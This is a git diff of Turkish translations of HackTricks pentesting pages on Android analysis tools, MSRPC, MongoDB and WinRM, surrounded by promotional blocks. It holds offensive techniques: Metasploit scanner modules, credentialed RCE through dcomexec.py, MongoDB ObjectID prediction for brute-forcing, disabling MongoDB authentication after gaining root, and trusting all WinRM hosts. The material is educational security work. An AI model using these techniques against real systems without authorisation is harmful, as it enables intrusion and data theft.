StaCoAn, mobil uygulamalar üzerinde [statik kod analizi](https://en.wikipedia.org/wiki/Static\_program\_analysis) gerçekleştiren geliştiricilere, bugbounty avcılarına ve etik hackerlara yardımcı olan **çoklu platform** bir araçtır.
|
||||
|
||||
Kavram, mobil uygulama dosyanızı (bir .apk veya .ipa dosyası) StaCoAn uygulamasına sürükleyip bırakmanız ve bunun için size görsel ve taşınabilir bir rapor oluşturmasıdır. Özelleştirilmiş bir deneyim elde etmek için ayarları ve kelime listelerini değiştirebilirsiniz.
|
||||
Kavram, mobil uygulama dosyanızı (bir .apk veya .ipa dosyası) StaCoAn uygulamasına sürükleyip bırakmanız ve bunun için görsel ve taşınabilir bir rapor oluşturmasıdır. Özelleştirilmiş bir deneyim elde etmek için ayarları ve kelime listelerini değiştirebilirsiniz.
|
||||
|
||||
[En son sürümü](https://github.com/vincentcox/StaCoAn/releases) indirin:
|
||||
```
|
||||
|
@ -727,7 +727,7 @@ androbugs.exe -f [APK file]
|
|||
|
||||
Tespit, uygulamanın Dalvik bytecode'unun **statik analizi** ile gerçekleştirilir ve bu, **Smali** olarak temsil edilir; [`androguard`](https://github.com/androguard/androguard) kütüphanesi kullanılır.
|
||||
|
||||
Bu araç, aşağıdaki gibi **"kötü" uygulamaların yaygın davranışlarını** arar: Telefon kimliklerinin sızdırılması, Ses/görüntü akışının kesilmesi, PIM verilerinin değiştirilmesi, Rastgele kod yürütme...
|
||||
Bu araç, aşağıdaki gibi **"kötü" uygulamaların yaygın davranışlarını** arar: Telefon kimliklerinin sızdırılması, Ses/video akışının kesilmesi, PIM verilerinin değiştirilmesi, Rastgele kod yürütme...
|
||||
```
|
||||
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
```
|
||||
|
@ -762,19 +762,19 @@ ProGuard, Android SDK'nın bir parçası olarak dağıtılır ve uygulama yayın
|
|||
|
||||
### [DexGuard](https://www.guardsquare.com/dexguard)
|
||||
|
||||
APK'yı deobfuscate etmek için adım adım bir kılavuz bulabilirsiniz: [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
|
||||
APK'yı deobfuscate etmek için adım adım bir kılavuzu [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) adresinde bulabilirsiniz.
|
||||
|
||||
(Bu kılavuzdan) En son kontrol ettiğimizde, Dexguard çalışma modu şuydu:
|
||||
|
||||
* Bir kaynağı InputStream olarak yüklemek;
|
||||
* Sonucu deşifre etmek için FilterInputStream'den türetilen bir sınıfa beslemek;
|
||||
* Bir tersleyiciden birkaç dakikalık zaman kaybetmek için gereksiz obfuscation yapmak;
|
||||
* Sonucu deşifre etmek için FilterInputStream'den türetilmiş bir sınıfa beslemek;
|
||||
* Bir tersine mühendislik uzmanının birkaç dakikasını boşa harcamak için gereksiz obfuscation yapmak;
|
||||
* Deşifre edilmiş sonucu bir ZipInputStream'e besleyerek bir DEX dosyası almak;
|
||||
* Son olarak, elde edilen DEX'i `loadDex` yöntemi kullanarak bir Kaynak olarak yüklemek.
|
||||
|
||||
### [DeGuard](http://apk-deguard.com)
|
||||
|
||||
**DeGuard, Android obfuscation araçları tarafından gerçekleştirilen obfuscation sürecini tersine çevirir. Bu, kod denetimi ve kütüphaneleri tahmin etme gibi birçok güvenlik analizini mümkün kılar.**
|
||||
**DeGuard, Android obfuscation araçları tarafından gerçekleştirilen obfuscation sürecini tersine çevirir. Bu, kod incelemesi ve kütüphaneleri tahmin etme gibi birçok güvenlik analizini mümkün kılar.**
|
||||
|
||||
Obfuscate edilmiş bir APK'yı platformlarına yükleyebilirsiniz.
|
||||
|
||||
|
@ -788,29 +788,29 @@ APKiD, **bir APK'nın nasıl yapıldığını** hakkında bilgi verir. Birçok *
|
|||
|
||||
### Manual
|
||||
|
||||
[Özel obfuscation'ı nasıl tersine çevireceğinizi öğrenmek için bu eğitimi okuyun](manual-deobfuscation.md)
|
||||
[Özel obfuscation'ı nasıl tersine mühendislik yapacağınızı öğrenmek için bu eğitimi okuyun](manual-deobfuscation.md)
|
||||
|
||||
## Laboratuvarlar
|
||||
## Labs
|
||||
|
||||
### [Androl4b](https://github.com/sh4hin/Androl4b)
|
||||
|
||||
AndroL4b, ubuntu-mate tabanlı bir Android güvenlik sanal makinesidir ve ters mühendislik ve kötü amaçlı yazılım analizi için farklı güvenlik meraklıları ve araştırmacılardan en son çerçeve, eğitimler ve laboratuvarlar koleksiyonunu içerir.
|
||||
|
||||
## Referanslar
|
||||
## References
|
||||
|
||||
* [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
|
||||
* [https://appsecwiki.com/#/](https://appsecwiki.com/#/) Harika bir kaynak listesi
|
||||
* [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android hızlı kurs
|
||||
* [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android hızlı kursu
|
||||
* [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
|
||||
* [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
|
||||
* [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab\_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab\_channel=B3nacSec)
|
||||
|
||||
## Denemek için
|
||||
## Yet to try
|
||||
|
||||
* [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
|
||||
* [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
|
@ -823,7 +823,7 @@ Gerçek zamanlı haberler ve içgörüler aracılığıyla hızlı tempolu hacki
|
|||
**Son Duyurular**\
|
||||
Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun
|
||||
|
||||
**Bize katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla işbirliği yapmaya başlayın!
|
||||
Bugün en iyi hackerlarla işbirliği yapmak için [**Discord**](https://discord.com/invite/N3FrSbmwdy) sunucumuza katılın!
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -834,7 +834,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
|
|||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,13 +9,13 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
|
|||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
|
@ -28,19 +28,19 @@ Gerçek zamanlı haberler ve içgörülerle hızlı tempolu hacking dünyasında
|
|||
**Son Duyurular**\
|
||||
Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun
|
||||
|
||||
Bugün [**Discord**](https://discord.com/invite/N3FrSbmwdy) üzerinden bize katılın ve en iyi hackerlarla işbirliği yapmaya başlayın!
|
||||
**Bugün** [**Discord**](https://discord.com/invite/N3FrSbmwdy) üzerinden bize katılın ve en iyi hackerlarla işbirliği yapmaya başlayın!
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
Microsoft Uzaktan Prosedür Çağrısı (MSRPC) protokolü, bir programın başka bir bilgisayarda bulunan bir programdan hizmet talep etmesini sağlayan bir istemci-sunucu modelidir ve ağın ayrıntılarını anlamadan çalışır. İlk olarak açık kaynak yazılımdan türetilmiş ve daha sonra Microsoft tarafından geliştirilip telif hakkı alınmıştır.
|
||||
|
||||
RPC uç noktası haritalayıcı, TCP ve UDP port 135, TCP 139 ve 445 üzerinde SMB (null veya kimlik doğrulamalı oturum ile) ve TCP port 593 üzerinde bir web hizmeti aracılığıyla erişilebilir.
|
||||
RPC uç noktası haritalayıcıya TCP ve UDP portu 135, TCP 139 ve 445'te SMB (null veya kimlik doğrulamalı oturum ile) ve TCP portu 593'te bir web hizmeti aracılığıyla erişilebilir.
|
||||
```
|
||||
135/tcp open msrpc Microsoft Windows RPC
|
||||
```
|
||||
## MSRPC nasıl çalışır?
|
||||
|
||||
İstemci uygulaması tarafından başlatılan MSRPC süreci, istemci çalışma zamanı kütüphanesi ile etkileşime giren yerel bir stub prosedürünü çağırmayı içerir ve ardından isteği sunucuya hazırlayıp iletir. Bu, parametrelerin standart Ağ Veri Temsili formatına dönüştürülmesini içerir. Taşıma protokolü seçimi, sunucu uzaktaysa çalışma zamanı kütüphanesi tarafından belirlenir ve RPC'nin ağ yığını üzerinden iletilmesini sağlar.
|
||||
İstemci uygulaması tarafından başlatılan MSRPC süreci, istemci çalışma zamanı kütüphanesi ile etkileşime giren yerel bir stub prosedürünü çağırmayı içerir ve ardından isteği sunucuya hazırlayıp iletmek için çalışır. Bu, parametrelerin standart Ağ Veri Temsili formatına dönüştürülmesini içerir. Taşıma protokolü seçimi, sunucu uzaktaysa çalışma zamanı kütüphanesi tarafından belirlenir ve RPC'nin ağ yığını üzerinden iletilmesini sağlar.
|
||||
|
||||
![https://0xffsec.com/handbook/images/msrpc.png](https://0xffsec.com/handbook/images/msrpc.png)
|
||||
|
||||
|
@ -54,7 +54,7 @@ Annotation: Messenger Service
|
|||
UUID: 00000000-0000-0000-0000-000000000000
|
||||
Binding: ncadg_ip_udp:<IP>[1028]
|
||||
```
|
||||
RPC yer bulucu hizmetine erişim, belirli protokoller aracılığıyla etkinleştirilmiştir: port 135 üzerinden erişim için ncacn\_ip\_tcp ve ncadg\_ip\_udp, SMB bağlantıları için ncacn\_np ve web tabanlı RPC iletişimi için ncacn\_http. Aşağıdaki komutlar, esasen port 135'e odaklanarak, MSRPC hizmetlerini denetlemek ve etkileşimde bulunmak için Metasploit modüllerinin kullanımını örneklemektedir:
|
||||
RPC yer bulucu hizmetine erişim, belirli protokoller aracılığıyla etkinleştirilmiştir: port 135 üzerinden erişim için ncacn\_ip\_tcp ve ncadg\_ip\_udp, SMB bağlantıları için ncacn\_np ve web tabanlı RPC iletişimi için ncacn\_http. Aşağıdaki komutlar, esas olarak port 135'e odaklanarak MSRPC hizmetlerini denetlemek ve etkileşimde bulunmak için Metasploit modüllerinin kullanımını örneklemektedir:
|
||||
```bash
|
||||
use auxiliary/scanner/dcerpc/endpoint_mapper
|
||||
use auxiliary/scanner/dcerpc/hidden
|
||||
|
@ -99,7 +99,7 @@ Bu yöntem, HTB kutusundan _APT_ olarak **IPv6** adresi gibi arayüz bilgilerini
|
|||
|
||||
### Geçerli kimlik bilgileri ile RCE yürütme
|
||||
|
||||
Geçerli bir kullanıcının kimlik bilgileri mevcutsa, [dcomexec.py](https://github.com/fortra/impacket/blob/master/examples/dcomexec.py) kullanarak bir makinede uzaktan kod yürütmek mümkündür.
|
||||
Geçerli bir kullanıcının kimlik bilgileri mevcutsa, bir makinede uzaktan kod yürütmek mümkündür. Bunu yapmak için [dcomexec.py](https://github.com/fortra/impacket/blob/master/examples/dcomexec.py) kullanabilirsiniz.
|
||||
|
||||
**Mevcut farklı nesnelerle denemeyi unutmayın**
|
||||
|
||||
|
@ -117,18 +117,18 @@ Geçerli bir kullanıcının kimlik bilgileri mevcutsa, [dcomexec.py](https://gi
|
|||
* [https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/](https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/)
|
||||
* [https://0xffsec.com/handbook/services/msrpc/](https://0xffsec.com/handbook/services/msrpc/)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
Deneyimli hackerlar ve hata ödülü avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
**Hacking İçgörüleri**\
|
||||
Hacking'in heyecanı ve zorluklarına dalan içeriklerle etkileşimde bulunun
|
||||
|
||||
**Gerçek Zamanlı Hack Haberleri**\
|
||||
Hızla değişen hacking dünyasında gerçek zamanlı haberler ve içgörülerle güncel kalın
|
||||
Gerçek zamanlı haberler ve içgörüler aracılığıyla hızlı tempolu hacking dünyasıyla güncel kalın
|
||||
|
||||
**Son Duyurular**\
|
||||
Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun
|
||||
Yeni hata ödülleri ve önemli platform güncellemeleri hakkında bilgi sahibi olun
|
||||
|
||||
Bugün en iyi hackerlarla işbirliği yapmak için [**Discord**](https://discord.com/invite/N3FrSbmwdy) sunucumuza katılın!
|
||||
|
||||
|
@ -142,7 +142,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
|
|||
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,45 +1,45 @@
|
|||
# 27017,27018 - Pentesting MongoDB
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
**Hacking Insights**\
|
||||
Engage with content that delves into the thrill and challenges of hacking
|
||||
**Hacking İçgörüleri**\
|
||||
Hacking'in heyecanı ve zorluklarına dalan içeriklerle etkileşimde bulunun
|
||||
|
||||
**Real-Time Hack News**\
|
||||
Keep up-to-date with fast-paced hacking world through real-time news and insights
|
||||
**Gerçek Zamanlı Hack Haberleri**\
|
||||
Gerçek zamanlı haberler ve içgörülerle hızlı tempolu hacking dünyasında güncel kalın
|
||||
|
||||
**Latest Announcements**\
|
||||
Stay informed with the newest bug bounties launching and crucial platform updates
|
||||
**Son Duyurular**\
|
||||
Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun
|
||||
|
||||
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
|
||||
Bugün [**Discord**](https://discord.com/invite/N3FrSbmwdy) üzerinden bize katılın ve en iyi hackerlarla işbirliği yapmaya başlayın!
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
**MongoDB**, çeşitli veri biçimlerini işlemek için **belge odaklı veritabanı modeli** kullanan **açık kaynak** bir veritabanı yönetim sistemidir. Yapısal olmayan veya yarı yapısal verileri büyük veri analitiği ve içerik yönetimi gibi uygulamalarda yönetmek için esneklik ve ölçeklenebilirlik sunar. **Varsayılan port:** 27017, 27018
|
||||
**MongoDB**, çeşitli veri biçimlerini işlemek için **belge odaklı veritabanı modeli** kullanan bir **açık kaynak** veritabanı yönetim sistemidir. Yapısal olmayan veya yarı yapısal verileri büyük veri analitiği ve içerik yönetimi gibi uygulamalarda yönetmek için esneklik ve ölçeklenebilirlik sunar. **Varsayılan port:** 27017, 27018
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
27017/tcp open mongodb MongoDB 2.6.9 2.6.9
|
||||
```
|
||||
## Enumeration
|
||||
|
||||
### Manual
|
||||
### Manuel
|
||||
```python
|
||||
from pymongo import MongoClient
|
||||
client = MongoClient(host, port, username=username, password=password)
|
||||
|
@ -93,7 +93,7 @@ Kimlik bilgilerine ihtiyaç olup olmadığını öğrenmek için _/opt/bitnami/m
|
|||
grep "noauth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#" #Not needed
|
||||
grep "auth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#\|noauth" #Not needed
|
||||
```
|
||||
## Mongo Objectid Tahmini
|
||||
## Mongo Objectid Tahmin
|
||||
|
||||
Örnek [buradan](https://techkranti.com/idor-through-mongodb-object-ids-prediction/) alınmıştır.
|
||||
|
||||
|
@ -108,17 +108,17 @@ Mongo Object ID'leri **12 baytlık onaltılık** dizelerdir:
|
|||
3. 2500: Süreç ID'si
|
||||
4. 314019: Artan sayaç
|
||||
|
||||
Yukarıdaki öğelerden, makine tanımlayıcısı, veritabanı aynı fiziksel/sanal makinede çalıştığı sürece aynı kalacaktır. Süreç ID'si yalnızca MongoDB süreci yeniden başlatıldığında değişecektir. Zaman damgası her saniye güncellenecektir. Object ID'leri tahmin etmenin tek zorluğu, sayaç ve zaman damgası değerlerini basitçe artırmak, Mongo DB'nin Object ID'leri oluşturması ve sistem düzeyinde atamasıdır.
|
||||
Yukarıdaki öğelerden, makine tanımlayıcısı, veritabanı aynı fiziksel/sanal makinede çalıştığı sürece aynı kalacaktır. Süreç ID'si yalnızca MongoDB süreci yeniden başlatıldığında değişecektir. Zaman damgası her saniyede bir güncellenecektir. Object ID'leri tahmin etmenin tek zorluğu, sayaç ve zaman damgası değerlerini basitçe artırmak, Mongo DB'nin Object ID'leri oluşturması ve sistem düzeyinde Object ID'leri atamasıdır.
|
||||
|
||||
Araç [https://github.com/andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict), başlangıç Object ID'si verildiğinde (bir hesap oluşturabilir ve bir başlangıç ID'si alabilirsiniz), muhtemel olarak bir sonraki nesnelere atanmış olabilecek yaklaşık 1000 olası Object ID'si geri gönderir, böylece bunları brute force ile denemeniz yeterlidir.
|
||||
|
||||
## Post
|
||||
|
||||
Eğer root iseniz, **mongodb.conf** dosyasını **değiştirebilirsiniz** böylece kimlik bilgilerine ihtiyaç duyulmaz (_noauth = true_) ve **kimlik bilgileri olmadan giriş yapabilirsiniz**.
|
||||
Eğer root iseniz, **mongodb.conf** dosyasını **değiştirebilirsiniz** böylece kimlik bilgilerine ihtiyaç duyulmaz (_noauth = true_) ve **kimlik bilgisi olmadan giriş yapabilirsiniz**.
|
||||
|
||||
***
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
|
@ -129,9 +129,9 @@ Hacking'in heyecanı ve zorluklarına dalan içeriklerle etkileşimde bulunun
|
|||
Gerçek zamanlı haberler ve içgörülerle hızlı tempolu hacking dünyasında güncel kalın
|
||||
|
||||
**Son Duyurular**\
|
||||
Yeni başlayan bug bounty'ler ve kritik platform güncellemeleri hakkında bilgi sahibi olun
|
||||
Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun
|
||||
|
||||
**Bugün en iyi hackerlarla işbirliği yapmak için** [**Discord**](https://discord.com/invite/N3FrSbmwdy) sunucumuza katılın!
|
||||
Bugün en iyi hackerlarla işbirliği yapmak için [**Discord**](https://discord.com/invite/N3FrSbmwdy) sunucumuza katılın!
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -142,8 +142,8 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
|
|||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek hacking ipuçlarını paylaşın.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,7 +15,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
|
@ -43,7 +43,7 @@ Yukarıdaki listeden açık bir port, WinRM'in kurulu olduğunu gösterir ve bö
|
|||
|
||||
### **WinRM Oturumu Başlatma**
|
||||
|
||||
PowerShell'i WinRM için yapılandırmak üzere, Microsoft'un `Enable-PSRemoting` cmdlet'i devreye girer ve bilgisayarı uzaktan PowerShell komutlarını kabul edecek şekilde ayarlar. Yükseltilmiş PowerShell erişimi ile, bu işlevselliği etkinleştirmek ve herhangi bir hostu güvenilir olarak belirlemek için aşağıdaki komutlar çalıştırılabilir:
|
||||
WinRM için PowerShell'i yapılandırmak üzere, Microsoft'un `Enable-PSRemoting` cmdlet'i devreye girer ve bilgisayarı uzaktan PowerShell komutlarını kabul edecek şekilde ayarlar. Yükseltilmiş PowerShell erişimi ile, bu işlevselliği etkinleştirmek ve herhangi bir hostu güvenilir olarak belirlemek için aşağıdaki komutlar çalıştırılabilir:
|
||||
```powershell
|
||||
Enable-PSRemoting -Force
|
||||
Set-Item wsman:\localhost\client\trustedhosts *
|
||||
|
@ -58,9 +58,9 @@ Bu yöntem, uzaktan WinRM kurulumu yapmayı sağlar ve Windows makinelerini uzak
|
|||
|
||||
### Yapılandırıldığını test et
|
||||
|
||||
Saldırı makinenizin kurulumunu doğrulamak için, hedefin WinRM'nin düzgün yapılandırılıp yapılandırılmadığını kontrol etmek için `Test-WSMan` komutu kullanılır. Bu komutu çalıştırarak, başarılı bir yapılandırmayı gösteren protokol versiyonu ve wsmid ile ilgili ayrıntıları almayı beklemelisiniz. Aşağıda, yapılandırılmış bir hedef ile yapılandırılmamış bir hedef için beklenen çıktıyı gösteren örnekler bulunmaktadır:
|
||||
Saldırı makinenizin kurulumunu doğrulamak için, hedefin WinRM'nin doğru bir şekilde yapılandırılıp yapılandırılmadığını kontrol etmek için `Test-WSMan` komutu kullanılır. Bu komutu çalıştırarak, başarılı bir yapılandırmayı gösteren protokol versiyonu ve wsmid ile ilgili ayrıntıları almayı beklemelisiniz. Aşağıda, yapılandırılmış bir hedef ile yapılandırılmamış bir hedef için beklenen çıktıyı gösteren örnekler bulunmaktadır:
|
||||
|
||||
* **Doğru** yapılandırılmış bir hedef için, çıktı aşağıdaki gibi görünecektir:
|
||||
* **Doğru** bir şekilde yapılandırılmış bir hedef için, çıktı şu şekilde görünecektir:
|
||||
```bash
|
||||
Test-WSMan <target-ip>
|
||||
```
|
||||
|
@ -68,7 +68,7 @@ Yanıt, protokol sürümü ve wsmid hakkında bilgi içermelidir; bu, WinRM'nin
|
|||
|
||||
![](<../.gitbook/assets/image (582).png>)
|
||||
|
||||
* Aksine, WinRM için **yapılandırılmamış** bir hedef için, böyle ayrıntılı bir bilgi elde edilemeyecek ve uygun bir WinRM yapılandırmasının yokluğunu vurgulayacaktır.
|
||||
